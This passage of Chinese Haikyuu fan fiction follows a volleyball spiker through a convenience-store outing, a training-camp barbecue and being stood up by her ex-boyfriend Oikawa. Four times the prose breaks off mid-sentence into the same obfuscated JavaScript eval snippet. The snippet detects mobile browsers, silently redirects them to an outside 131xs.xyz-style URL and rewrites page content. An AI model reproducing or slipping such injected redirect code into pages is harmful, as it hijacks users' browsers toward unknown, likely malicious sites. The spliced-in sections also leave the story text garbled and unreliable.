我当然知道这样不对,阿治说了特别让人感动的话,和信介在某种程度上同样印证了角名和我说的那句话,我现在应该眼泪汪汪地扑上去和他拥抱说我也很喜欢阿治。 但是,我很担心角名会说些什么。我不知道角名知道什么,这是最可怕的,未知就是最可怕的。 “你是指什么。” 被阿侑拉过去的我和阿治的距离远了一点,晚上的校园里灯光并不明亮,他一半的脸在阴影里,看不出是生气还是疑惑,我本来也不是什么微表情观察分析大师,何况我也是真的看不清他的表情。 角名应该不是那种很碎嘴的人。紧绷的神经慢慢松了下来,我笑着摇摇头:“因为好像很多人都对我有很奇怪的刻板印象耶。”我掰着手指和他细数,信子学姐、音驹女排的队长北砂良子、还有青城时期的队友,她们对我的认知和我对我自己的认知,都有大相径庭的部分。 我很担心阿治也把我当成什么缺爱的小孩。虽然我实质上确实是,但不要因为这个可怜我、对我小心翼翼呀。 “信子学姐确实和我说过,说我要多多照顾你,尤其是发现阿侑欺负你的时候。要拦着你。” 我指了指我自己:“拦着谁?我?” 阿治笑了一下,我觉得是冷笑、也可能是嘲笑,只不过针对的对象不是我:“她说你如果真的生气,阿侑可能会下场很惨,真的被你揍得受伤也说不定。” 啊……这个嘛……我心虚地摸了摸鼻子,虽然初中的木下教练也对我很好、很照顾我的心情像我妈妈一样,虽然信子学姐也对我很好、很照顾我的心情就像木下教练那样,但是,不可否认,我初中的脾气确实很差,比阿侑还要差很多。在这一点上我的自我认知还是相当清晰。 毕竟我是在场上就发脾气把二传骂哭的人啊……毕竟我是让二传说过再也不要和我打比赛并且真的选择了退社的人啊……毕竟我是无差别攻击队友和对手被称作暴君的人……嘿嘿,脾气这么炸真是抱歉。 但是就像打游戏上分的时候遇到坑了的人会特别生气,主攻手遇见垃圾二传、弱鸡对手感到烦躁也很正常啊。 我哪有问题呀!完全合情合理合逻辑呀!反正在排球的相关事情上,我是对的,我总是对的。 不过阿侑又开始生气了。 我逐渐熟练掌握到如何安抚他的情绪,解释说信子学姐只是描述夸张了一点、说不定我根本打不过他呢、这么说也只是让阿治好好注意我们之间的冲突吧,而且,事实上第一天的时候他确实给我难堪了不是吗? 信子学姐预料得没错呀。 “但是我再怎么说也不可能真的对你动手吧!把我当什么了啊我又不是狂躁症!”阿侑的声调拉得很高,但仔细听了他说话的内容,更像是委屈地控诉。关西腔的每一个音调都落在意想不到的地方,可是又有很古怪的可爱,就好像阿侑其实是在对我撒娇一样。 而一遇到阿侑就自动降智并且发动嘲讽技能的阿治,毫不意外地火上浇油:“原来你不是吗,那还真是意外。” “喂!” 我还想有个安静的晚饭,也不想在路上、在便利店里被路人用奇怪的目光注视,而且我觉得信子学姐那么说,是真的认为我会对阿侑动手,想到这里我更加匪夷所思,阿侑在学姐眼里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431057|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的性格到底有多差啊! 在我对排球技术很好的二传容忍度无限高的前提条件下,信子学姐居然会认为我会受不了阿侑,明明我觉得我上了高中之后脾气还蛮好的说。 我拉了拉阿侑的手:“不要生气啦阿侑,今晚我来买单好了,想吃什么都可以。”我完全预判到阿治想要嘲讽的内容,干脆也拉了下他的手,“阿治也是,很感谢阿治来接我,所以吃什么都可以。不用看价格。” 说完,我加了点力气捏了捏,侧身挡住宫侑的视线,皱着脸冲阿治摇了摇头。 在只要阿侑不率先挑衅的情况下阿治勉强可以保持住一个稳定的san值不会发疯,但我同样明白糖果不应该只给会哭会闹的小孩——我没有立刻松开手,而是把阿治也往我的方向扯了扯,就像阿侑对我做的那样。 我准备问他想吃什么,却发现阿治整个人突然震了一下。 “怎么了?”我疑惑地偏头看着他,“是很冷吗?” 他的手抽走了:“不是。” 我还想追问,整个人已经被阿侑拉着往前面终于看到门口的便利店跑去,就像沙漠中迷路的人看到绿洲,饥饿的阿侑看到便利店的兴奋带着我几乎像是在飞——推门而入的瞬间,我转头看向身后不紧不慢跟上来的宫治。 他刚刚好像想和我说什么的。 “别看阿治啦,他肯定吃过了。”阿侑把我推到他前面,顺手从门口拿了一个购物篮挂着,“我们看看我们要吃什么吧!”很雀跃又很可爱,推着我往前走的时候,让我完全幻视幼儿园里搭火车的小游戏。 被他说得我的饥饿感确实也上来了,无暇顾及那一瞬间的探究欲,这个点货架上可供热食的饭团之类零零散散,基本都被贴了折扣标,我倒是不挑,随便拿了看上去卖相不错的一个培根蛋饭团,放到阿侑拿的篮子里。 阿侑在金枪鱼和经典款之间纠结,我提示他两个可以all in,但他还想再吃一碗泡面,还想吃关东煮,他要合理利用自己的空间。我被他逗笑了:“那你两个都拿,我这个不要了,我们一人一半。” “万一有一个很难吃,或者都很难吃呢?”毕竟是折扣商品,放了很久口味很容易出现变化,一定是不如新鲜出炉的包装。 “那就再买吧。没关系啦,我都说我付钱。” 阿侑还在二选一之间纠结,脸上的表情甚至比他连那个外旋扣球的时候还要苦恼:“不是说付钱,是不可以浪费食物。” 我:0.0在这种事情上莫名很乖的阿侑诶。 “我没关系啦,只要能吃就行,总不至于被下毒吧。”经历过魔鬼特训的我对食物的味道完全不挑,所以说的也是真心话,食物能吃就行。 跟着我们进来的阿治走到货架的另一边,把我刚刚放回去的培根蛋饭团又放回来:“你不要惯着阿侑。”但是这么说的阿治,却主动拿了一个金枪鱼饭团,“正好我饿了,不好吃就揍阿侑。” “喂!又不是我推荐的!”别别扭扭的阿侑放下手里的金枪鱼,把经典款放到了购物篮里。 哎呀,这不是感情明明就很好嘛。我看看阿侑,又看看阿治,忍不住眯着眼睛笑起来。 “不许乱想!” 居然是被阿侑发现了,可恶。我连忙借着要去看饮料的理由偷偷溜走。 19. 没问题啊集训结束就该聚餐 一周的集训很快结束,最后一天的下午,五支队伍互相各打了一场就宣告结束,开始约定俗成的聚餐活动。 阿侑和阿治冲在等候烤肉的最前端,我刚运动完没什么食欲,洗完澡顺手把游戏机带了出来,和研磨一起坐在阳光没那么大的角落里一起打昨晚上没打完的存档。 “不去吃吗,再不吃就要被抢光了。”从混乱战局中全身而退的赤苇端着新鲜出炉的一盘烤肉坐到我身边,顺着他指的方向,我:好多人啊.jpg(感慨) 我转头问还在全身心沉浸式过关的研磨:“研磨酱你饿吗?” “还好。” “嗯,我也还好。”我点点头,继续和研磨一起冒险,隐约间听见赤苇若有若无地叹了口气,于是忍不住想要再犯一下贱,“小红,你是在关心我吗?” 赤苇相当平静地回答:“不,只是觉得稻荷崎的经理在聚餐的时候被饿晕会轰动全场。” “那不还是在关心我嘛。”我遇到太多像赤苇选手这样不爱说真心话的回避型人类,不过,我的优点就是对于正面情绪非常之敏锐,“关心就要说关心,小红,你应该和木兔选手中和一下就好了。 “总感觉你消极又不消极的。偶尔会像太宰治,偶尔又只是白开水。” …… “为什么这么说。” 终于打通了关卡,我点了存档,一边抬手伸伸懒腰,歪着头正好对上赤苇的视线。同样都是外表非常平静的人,赤苇和信介给我的感觉却有着微妙的差异,信介是值得信赖的、我可以闭着眼睛往后仰因为相信他会接住我的人,但赤苇让我觉得,他会和我一起跳。 真奇怪。 “感觉?”我指指旁边还在打游戏的研磨,我一指,他一抖,虽然看上去研磨的注意力完全在游戏机上,但还是很注意着他人的视线,尽管如此吧,“比如研磨酱,我觉得研磨酱都比你要积极哦。” “不要突然指我也不要拿我举例子。”轻轻皱着眉的研磨完全是一只让人看了更想要欺负的猫猫,恶劣如我当然不会放过这个机会,手一撑地就迅猛地扑到了他身上:“太可爱啦研磨酱!” “也不要、突然、扑过来!” 是的我是一位虽然恶劣但很会看眼色的好女孩,猫猫炸毛很有趣,猫咪生气开始亮爪子,很不有趣。 整理了一下衣服,我重新盘腿坐好,想想要怎么回答赤苇的问题,我托着下巴开始端详垂着眼正在吃烤肉的赤苇,上看下看左看右看,怎么看都还是很奇怪:“没有理由。就是直觉。” 如果不是因为看过赤苇在场上有过非常生动的表情,这种时候他的平静完全可以让我幻视信介了,即便受到我这种莫名其妙的负面评价也完全没有生气的赤苇,此时此刻还很有余裕地吐槽我:“原来是天然系吗你。” “感觉你在骂我是笨蛋的意思。” “哦那么是直觉系。” “听上去在说我头脑简单。” “不要曲解我的意思。” 我终于憋不住笑,指了指他:“小红,现在的表情才很有趣呀。” 他一愣:“什么?” “一脸很不耐烦的、终于在发脾气的表情。”我往后仰了仰,手撑在地上,有种莫名打通了boss的喜悦感,“现在才像是在活着的样子。很可爱呀小红。” 我从打排球的过程中悟到的其中一条绝世真理就是:“想太多又不说出来会变得很难看,但是都说出来就会变得超厉害!”我冲他握了握拳,示意他加油。 “听上去像是木兔学长的发言。”转瞬间,赤苇刚刚的那种鲜活感又不见了,但我也只是随口一说,就算是朋友也有注意微妙的界限,我并不打算改变某人的人生,那是非常非常沉重的责任。 我看向人群中也非常闪亮的木兔选手,争抢烤肉的姿态都仿佛正在场上扣球一样认真热情,真的是让人看到就不由自主心情变得很好:“不会哦。我觉得如果是木兔酱的话,完全没有这种负担哦。” 当然啦,那种让他变得低迷的古怪理由是不算的。就像太阳表面的黑子并不会影响它本身散发的热与光,太阳只是太阳。 何况太阳黑子也只是相对而言的低温区,真拎出来四五千摄氏度足够把一百只布丁猫猫瞬间烤成粉末。嘻嘻。 善良且同样可靠的阿兰君是第二位从战场中心逃出生天的幸存者,他大方地给我递了一盘:“怎么一直待在这里不去吃。北让我给你的。” 呜哇……原来是可靠的信酱……我接过阿兰递来的烤肉,他让了半个身位,正好让我看到还在烤着肉的信介,黄毛狐狸灰毛狐狸以及一堆狐狸站在他身后嗷嗷待哺,但是!信酱把第一盘肉给了我!呜哇…… 我眼泪汪汪。 我眼泪长流。 感觉是要被我供起来的神明大人的赐福——可爱善良的小女孩果然会遇到心软慈悲的神。童话故事果然没骗人。 认真的厨神信介抬头,终于看到了眼泪汪汪的我。 五月的东京气候很好,就算在没有任何阴影遮挡的地方太阳也并不刺眼,柔和地落下不需要任何滤镜拉好对焦就能生图直出的美丽光影。微风掀起面前的餐垫,零星几片新叶被吹动滑过我面前,撩过脚踝,有细微的痒。 北信介抬头看到了你,撇着嘴端着餐盘,眼泪汪汪,不用多想就知道是因为什么在感动。他觉得很可爱,于是对着你笑。 我看到了信介的笑。 太明显的弧度,以至于我虽然很意外但无法否认,信介确实在对我笑。非常好的阳光,非常香的烤肉,非常温柔的信介的笑,他隔着还在冒着热气的烤盘、隔着时不时中间跑过的人影、隔着一段说远不远、说近不近的距离,冲我笑着,做出口型:“会冷掉,快点吃。” 我用力地点了点头。 于是变成了奇怪的组合——挪到角落的角落缩成一团独自通关的游戏狂人研磨酱,右手边坐着刚刚又从战场成功拿回一盘烤肉的赤苇选手,而阿兰君不想加入双子的战争,虽然是关西人但是吃饭的时候还要一直吐槽也实在太累了,于是也加入了这个家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431058|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我想起阿兰君是稻荷崎为数不多非常可靠而且相当成熟理智的高三选手,于是在不落下吃烤肉的情况下虚心求教,向他提问要如何占据主动地和前男友复合。 阿兰:? “请说标准语。” 我努力用精简的语言解释了一下我和前男友分手始末以及他前几天突然借了中间人的手机给我发信息以及等我们集训结束之后他就要不远千山万水地前来找我和我复合这件事,解释得很好,旁听的赤苇做出了“你好爱”的评价。 “明明是他很爱!是他主动!” “但是你也接受了不是吗?”阿兰露出了那种平时在旁边围观双子例行每日一打架的表情,就算不说话也完全可以做到用脸吐槽这件事,“不然你现在问我的应该是要怎么拉扯钓住你的前男友。” 阿兰君,好……好锐利的吐槽,我居然有点无法反驳。我心虚地捂住了胸口,狼狈地别过脸去企图逃避,结果又撞见前不久才被我亲口说过是“已经复合”的赤苇一脸兴味的表情。倒也不必在这个时候这么活人感好吗好的! 可恶哇,被两位吐槽大师夹击了,甚至还是两位都可以用脸吐槽的大师。 但阿兰显然要稍微善良一点,吐槽过之后还是给出了非常有用的可行性建议:“所以你们当时是为什么分手呢?找准那个原因里他需要负责道歉的部分,忽视自己的差不多就可以了吧?” 说得很对很合理,但是,我当时是为什么和及川彻分手的来着?我默默地抬头望天开始回想,记忆宫殿里唯一深刻的只有立字据立字据立字据,所以是为什么来着? “连为什么分手都不记得了吗?”这是赤苇。 “太草率了吧。”带着关西腔的是阿兰。 …… 妈妈我要离开这个左右单声道接连接收到吐槽的地方,好可怕。 我用力地咬了一口烤肉,一边用力地嚼嚼嚼,一边拼命地想想想,想了半天才发现:“完全不知道!” 好几秒我都没有得到回应,于是看看左边,看看右边,两位吐槽大师好像都被我沉默了。我生怕他们不信,赶紧咽下那口烤肉努力解释:“是真的,他很莫名其妙地生气,然后又不说原因,很明显是要我猜呀,可是我最讨厌的就是谜语人了,而且那个时候我还身体不舒服,一点也不想猜,所以他说分手我就……分手了。” 又是好几秒的沉默,我不明白是不是自己说错了什么,我只是完全叙述出我视角下的故事而已,没有春秋笔法也没有故意隐瞒重要信息,剩下的……好像也没什么值得说的了。 于是我一边嚼嚼嚼还热着的烤肉,一边学习摇头电风扇一样来回扭头观察他们的反应。 还好,赤苇选手的CPU率先做出了反应:“我发现一件事。” “赤苇大人您请说。”我非常真诚地使用了敬语。 赤苇的视线让我有点不太自在:“所有你不明白的,好像都会用‘莫名其妙’这个词语来描述。” 而阿兰附和地点了点头。 诶……?我有吗? 20. 没问题啊八卦中心是我前男友 “非常显然。”角落里的小蘑菇突然打破了这种寂静,我大为意外:“原来研磨你在听吗?” “一直都有,声音太大了,很吵。” “明明是你也很爱八卦吧哼哼,被我发现!快点一起加入我们的茶话会,我现在非常需要你的帮助研磨酱!”生怕下一秒社恐猫就拒绝我,我放下餐盘一把把他拉到我们的阵营里,天气那么好就是该来晒晒太阳聊聊天嘛! 我往后挪了挪位置,好了,四方会议终于成型,我拍拍手掌握拳装作话筒一样,清清嗓子:“好的那么请研磨代表率先发言。”说完,我就把小话筒移到他嘴边,用眼神鼓励他大胆发言——像极了鼓励小孩表演的妈妈。 然而孩子虽然社恐但是头脑清醒且相当有主见,他推开了我的手,用最没有攻击性的语气发表了最尖锐的点评,并在最后以“这样说起来,难道你不是最消极的那个人吗?”作为收尾,居然得到了与会人员的一致赞同。 我感觉大为冤枉,为什么每个人都对我有一种很奇怪的误解,“就没有一种可能是因为我真的不明白吗?”我不满地发出质疑。 “那么消极主义和笨蛋之间你选一个吧。”为什么只有这种时候会笑得很好看啊小红。 我觉得我被他们针对了而且我有证据。但这些都不是重点,我不满地戳了戳还在看我笑话的阿兰君,现在的当务之急是如何让我的前男友和我签下一系列完全有利于我的不平等条约。 人心中的成见是一座大山,我已经放弃解释也放弃选择——反正AB都不是什么好选项,这个时候我也没工夫玩梗说我要钝角。很急,朋友们,真的很急。 被我拉来开会的研磨又玩起了他的游戏机,说着:“能因为笨蛋理由就分手但是现在又愿意主动来找笨蛋满枝复合的也会是笨蛋。所以完全不用多想,说不定打直球才会被get到。” 我有一点点不高兴:“研磨很没礼貌,怎么可以背地里说人坏话。” 研磨抬头看了我一眼:“好的,所以我面对着你说了,笨蛋满枝。” 我:? “小红,他是不是在攻击我。” 我不可置信地看向赤苇选手,赤苇选手你怎么又退出游戏在低头吃肉了赤苇选手(指指点点)。 我看向阿兰,阿兰若有所思地点了点头:“确实如此。如果用常规的暗示,对方万一发现不了,那不就很麻烦吗?连分手原因都不确定,非常不靠谱的前男友选手,你真的要和他复合吗满枝。” 短短一分钟内我竟三度遭到背叛,我有点伤心,而且及川彻……我抬头皱眉想了想:“除了会故意给我传很坏的球看我生气、抢走我最喜欢吃的柠檬味棒棒糖、在我想事情的时候突然拍我的肩膀吓我一跳等等等等之外,他还是很靠谱的……吧?” “感觉在说他除了缺点之外都是优点这样的话。”低头吃肉的赤苇选手再一次抬起了他的头,难道这就是作为二传手对于进场时机的敏锐嗅觉吗?我不需要呜哇。 在场三个人里阿兰是和我相处时间最久的那个,他看向我的表情带有显而易见的忧虑:“听上去完全是非常不靠谱且幼稚的渣男型前男友。你确定他是真心想要和你复合的吗?” 我:“不确定呀。” 这下不只是阿兰,连打着游戏的研磨都把视线锁定了我。 “满枝,笨蛋。”他皱着眉这样说。 干什么又说我啦,我只是在说事实而已啊。不知道为什么分手,也不确定是不是真的想要复合,只是因为是他希望我在一起、希望我分手、希望我复合,所以我接受。就这么简单。 因为我总是不明白,所以,我只是想让事情变得简单。 就像我发现他对小飞雄有一种奇怪的敌意,尽管小飞雄也不明白,但我和他在及川面前一直就表现得像是陌生人; 就像我发现他对于输给若利感到耿耿于怀,所以到现在为止他也不知道我那位同样在宫城的、很有钱的、很可爱的幼驯染就是若利; 就像,我不明白他为什么拒绝已经向他发出特招邀请的白鸟泽,选择直升了青叶城西,但他毕业典礼结束后来找我,坐在桌子上问我明年毕业要去哪里的时候,我觉得他应该会喜欢我的答案,所以我说,我会和他一起,一起去青叶城西。 我不明白,但我认真承诺,说我会和他一起去青叶城西,那天的及川真的很开心,完全的开心。 我不明白,但我总能答对答案。那么探究及川弯弯绕绕的想法、从起点到终点的这个过程也就显得无关紧要。反正我学会了空间之门打开就是A跳B。 因为相处时间太久了,我纵容他、他惯着我,就变得和呼吸一样自然。人会思考之后才能回答1+1到底等于几吗? 良子来传话的时候,我也这么说过,因为是他的请求,所以我同意,完全已经成为了一种习惯。我有多喜欢及川吗?好像也没有吧。但是如果及川因为我拒绝他而和我变成陌生人,那我也绝对做不到。 听上去简直像是及川彻在pua我呢,但是不是的,真的不是的。 如果要说笨蛋,也是那个人笨蛋。我学着研磨的姿势抱着腿把自己缩起来,企图用变小的体积阻挡一下三个人同时向我发来的程度不同本质完全一样的死亡射线——就像那什么未成年的美丽女儿带回来一个黄毛,操心老爹把黄毛赶走之后对女儿恨铁不成钢的欲言又止。 但是我必须要说彻酱不是黄毛,精神黄毛就更不是。 及川彻只是和别人都有点不一样。 及川彻只是在我这里,和别人都不太一样。 “是不是真的复合,对我来说完全没关系。”烤肉已经有点凉了,不太好吃,干干的噎嗓子,我嚼了好一会,最后还是赤苇给我递来了水,我喝了好几口才把它顺下去,“就像GalGame啊,虽然会打出各种各样的结局但是只要保留存档就好了吧。” 几乎全类型游戏都有涉猎的游戏大师突然盯着我几秒钟,然后露出顿悟的表情:“啊……原来是这样啊……” 我感觉我变成了在球场上被他全神贯注观察着方向的排球,场外的表现让我几乎要忘记,此人其实是音驹高校的「脑」。 猫也属于捕食者的行列呢。 “我有点可怜那个人了。” 我:?为什么? “虽然我很喜欢打游戏,但是,把人生看作是一场可以回档的游戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431059|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还是太超过了,我做不到。” so……?我疑惑地眨眨眼:“是在夸我是天才吗?” “某种程度上,你确实是。”我没想到第一个退出我们这个组合选择单飞solo的人居然是看起来耐受度最高的赤苇选手,不知不觉日光暗淡,他的影子落到我身上,几乎挡住一片天光。 我觉得他这么认真的语气用在日常上还挺奇怪的,但好像是在夸我,但又似乎不是。 “本来是想问,有没有想过对方是怎么想的呢,但是,感觉你会说出,不重要,这样的话。”可能是我被猜中想法之后的表情太过夸张,虽然赤苇背着光让我看不清他的表情,但是笑声我还是能听得到。 “毕竟玩家又不用在意NPC的想法,对吧。”他最后淡淡地说。 我细数了一下本次谈话对远在宫城的彻酱的形容——笨蛋、渣男、黄毛、NPC,天呐我没办法同时和这么多人谈恋爱啊喂! “重点居然是这个吗,你才是关西人吧。”阿兰说,“我突然理解你为什么能和阿侑玩在一起了。” 这次我反应过来了:“你在骂我!” 阿兰:…… “阿兰君你完蛋了我要告诉我爸爸!” “你再大声一点等会其他四个学校都会知道你把北当做爸爸。”阿兰心如止水面不改色,甚至还有余裕又吃了一口烤肉,“稻荷崎不在乎回忆但是稻荷崎很在乎脸面。” 我们队的TIFO是该用在这种的地方的吗?这不对吧。而且为什么我把信酱当爸爸一样就会丢脸?再让我选一次我肯定要信酱当我的爸爸。 阿兰吃烤肉的动作顿住了,就像机器人突然报错,运转的机械卡了壳,我几乎幻视金属轴承发出令人牙酸的吱呀吱呀:“你敢不敢当着北的面这样勇敢一次。” “你是指什么?如果你是说,信介就像我爸爸一样这种话,我说过很多次了啊。信介从来没生气,信介又不是阿侑。” “不。”我居然从大风大浪都处变不惊的阿兰眼中看出了末日崩塌一样的震撼,真稀奇,“是称呼,你敢不敢当着北的面这么叫他,一次也行。” “你居然质疑一个主攻手的勇气!”我觉得我受到了挑衅。 这有什么的,不就是信酱吗?我都把称呼从前辈变成了北又变成了信介,现在只是把信介变成信酱而已,怎么了呢? 我身为前·全国第一主攻手的实力绝对不能被质疑!AD的第六件装备是勇气,主攻手的额外装备那就是大胆且不怕死! 所以—— “信酱!还有烤肉吗!”我用手拢成喇叭扩大了声音,发现信介抬头看我的时候我还非常用力地挥了挥手,生怕他不知道我是在叫他。 于是全世界突然都安静了。 信介的声音一如既往的柔和:“有的哦。” 耶嘿,我就说啦,信酱完全是神明一样的我爸爸! 我偏头看向阿兰,阿兰的后脑勺对着我,仔细听还能听到他的碎碎念:“太可怕了这个世界。我一定是在做梦。” ? 今天又是我不明白的一天。 请主攻手阿兰承认主攻手小满挑战成功好吗好的。 21. 没问题啊我被……放鸽子了? 集训结束之后,很快来到约定好的那天,那天是周六,排球社是有例行部活,我估算着时间向监督和队长都请了下午的假,等在一家点评榜上还算不错的咖啡店。 因为字据还没销毁,冷战没算结束,所以我也选择绕弯路给小岩发了地址信息,顺带拍了店里的招牌拉花拿铁让他们眼馋。我特意让咖啡师小姐姐给我画的是很可爱的玫瑰花,不过担心暗示意味太明显,我给小岩发的是被我拿勺子刮花了一点的版本。 不过图片发过去好一会也没有已读的标识,我猜测他们应该是在来的路上?毕竟从宫城到稻荷崎这边就算坐新干线也要花费几个小时,我没放在心上,正好这个时候咖啡店新出炉了一批面包,我决定综合一下及川他们和我的口味选几只尝尝,要是有好吃的再推荐。 高一入学不久,伊琳娜就已经建议我规律饮食,为以后加入国青队做准备,很长一段时间我都在严格控制体重,既不能过轻也不能太重,什么水煮西兰花和古怪蔬菜汁都是常态,更别提发现我体力不足的缺点后,暑假被拉去做的魔鬼集训。 所以现在稍微放松一点之后,对于能吃到的每一口味道正常的食品,我都抱有无限的感恩之心——感谢你们被制作出来,感谢你们能被我品尝,感谢你们不是生菜西兰花鸡胸肉的味道。感恩。 不过我左等右等,连我仔细品尝的高热量炸弹之厚蛋挞都被我连同脆皮一起吃掉之后,小岩还是没有发来信息,我点开手机,发现信息还是未读状态,已经半个小时过去了…… 难道是在车上睡着了? 要不再等等吧,我轻轻叹了口气,但是不敢再点一批新的面包,今天的热量完全大大大超标,晚上又得跑一小时跑步机了,可恶。 老实说,我并不算很有耐心的那类人,这一点在排球相关的事情上尤为明显。可能是拜某位的基因污染,虽然妈妈是温和主义,但我被纠正到现在,依然是和研磨相性完全不和的偏激赌博派。虽然我基本都很幸运,都能赌赢就是了,嘻嘻。 我托着下巴看着玻璃窗外,行人来来回回,因为无聊,我突然想到一些北川第一的事情。想起那个时候还没被木下教练和信子学姐的双buff度化,加上当时的二传选手跟不上我的节奏,于是勃然大怒无数次。 在排球的事情上我一直很认真,所以生气时会稍微有那么一点点刻薄,在我气走三位二传——甚至其中还包括一位初二的学姐之后,一直作壁上观的木下教练终于坐不住,试图阻止这种即将让北川第一所有二传手都被气跑的可怕趋势。 “不是你的错,你很强,但排球加上自由人是七个人的运动,没有二传手我们开不了比赛,所以,这几天去男子组玩一下调节调节心情吧? “我没办法违心地对你说出,请停下脚步,等一等她们这样的话,这对你而言并不公平。 “所以先去和可以跟得上你的朋友们一起玩吧,不过去那边的话如果跟不上,不要难过,更不许生气。 “我会让他们努力跟上你,要有耐心哦,一个完美的主攻手,最不应该缺失的就是耐心。” 然后,我遇到了及川彻。 好吧,勉强可以称呼一句「命运の相遇」。 木下教练努力想灌输给我的,我反而是在及川彻身上学习到了,最开始认识的时候,就觉得他是很冷静又耐心的二传,出乎意料的不需要任何磨合,我都可以接到很舒服的球。 完全是我梦想中的二传手。 备受菜比二传折磨的我几乎是扣下第一个扣球的时候就忍不住要哭了,但我非常努力地憋到第一小局结束才开始掉眼泪,牢牢握着现在看完全是被吓到的及川彻的手,问他家里还有没有姐姐、妹妹也行。 “诶?是什么意思?”还没完全变成不着调大魔王的及川彻很惊愕地瞪大眼睛,递来的纸巾顿在半空中,不知道要不要继续递给我。 我发出了某纸牌游戏BGM一样的声音:“是说您的传球传得太好了呜呜……我很需要您这样的二传,如果您有姊姊或者妹妹请务必让她也来试试做二传手好吗?” 因为实在激动,所以说话语无伦次,没有丝毫逻辑性,最后得到反应过来的及川“很抱歉我是独生子哦”这样的回答,已经失去思考能力的我感觉世界已然毁灭。 所有人的共识:好二传很难找,契合主攻手的好二传更是难上加难,于是处在希望之后又失望的崩溃边缘的我,发出了完全精神错乱状态下才能发出的询问—— “那么您可以来打女排吗?” 当时及川彻的表情大概是→0.0? ——然后这话刚说完我就被突然出现的信子学姐一巴掌捂住了嘴,被按着向身为初二学长的及川彻道歉。 此人后来回忆时,不仅津津有味地复述了一遍我被摁头乖乖道歉的全过程,还发表了“太少见了,能看到信子那样气急败坏的表情呢”的感慨。 而我:“变态。”得到了小岩的高度认可。 已经进化为不着调大魔王的某位一边眼泪汪汪,一边大声控诉我当年明明心心念念要把他拐回去做自己的二传,现在果然是得到了就不珍惜。 非常吵闹,非常悲惨的假哭,搞得我好像是什么负心的渣女。 我是吗?我显然不是。 一码归一码,我偶尔会鄙视这人的人品,但是唯有球场上的实力,我从来不会质疑,哪怕他输给若利,我也没觉得是他的问题。 就像moba游戏里辅助救不了劣势对局,输了比赛也不应该把责任归咎于二传。 但及川好像觉得那是他的错,我不明白,我自己在心里悄悄怒骂其他人都是菜比废物拖累了及川。 可能是观察的角度不同,也可能是因为我的观察方式本来就是及川教我的,所以我的看法和及川有着微妙的差别——我不否认输掉比赛每个人都有错,但把大部分归咎于自身,我不明白。 “你只是一个二传啊!”我当时很想这么对及川说的,但是隐约觉得这么说出来及川可能会更伤心、更生气,所以我又忍住了。 关于排球,我总是脾气不好、缺少耐心,更加讨厌等待。 但及川彻是例外。 和不和排球有关,他都例外。 一直静默的手机终于发出了声响,我解锁点进line的聊天界面,是小岩发来的信息,信息里说抱歉刚刚队伍在开会,及川临时有点事去不了了,队伍都得留下来看录像分析,他作为主将不能缺席。 我看着手机屏幕从亮屏直到熄灭,才反应过来我好像是被放了鸽子。 但我第一次被人爽约,不知道怎么回复,手机又响了几声,急促得像警示铃一样。 iwawawa:对不起啦呜呜…… :这是什么呀看起来好好看! :我也想喝qwq :但是真的很抱歉很抱歉,完全是突发事件呜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431060|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哇 我看着对面明显急了一样,不停地道歉、解释,几乎能想象得到屏幕对面那个人看我一直已读不回,急得上蹿下跳整个人连头发都被自己抓得乱七八糟的样子。 好像有点可爱。 突然就没那么不开心了。 我还维持着托着下巴的姿势,把想说的话单手一个一个地输入,然后发送—— :说实话。 :别骗我。 :否则我会更生气。 三条信息很快就变成了已读,但这次是对面变得沉默,没有回复了。 啊,其实只是觉得奇怪所以想要试着诈一下的,没想到是真的在撒谎骗我。 过了大概三分钟,被我备注为iwawawa的用户才发来回复:说真的你们真的要继续用我的账户互相聊天吗? :虽然没有真的让我变成传话筒,但是这种程度也实在令人发指了 :并不想掺和你们的事情,谢谢 :那家伙现在正在抓耳挠腮试图思考第二个谎言,我提醒一下,注意辨别 :以及,冷战公证人直接声明字据无效 :好的现在新郎可以亲吻新娘了 :不我的意思是你们现在可以互相聊天了 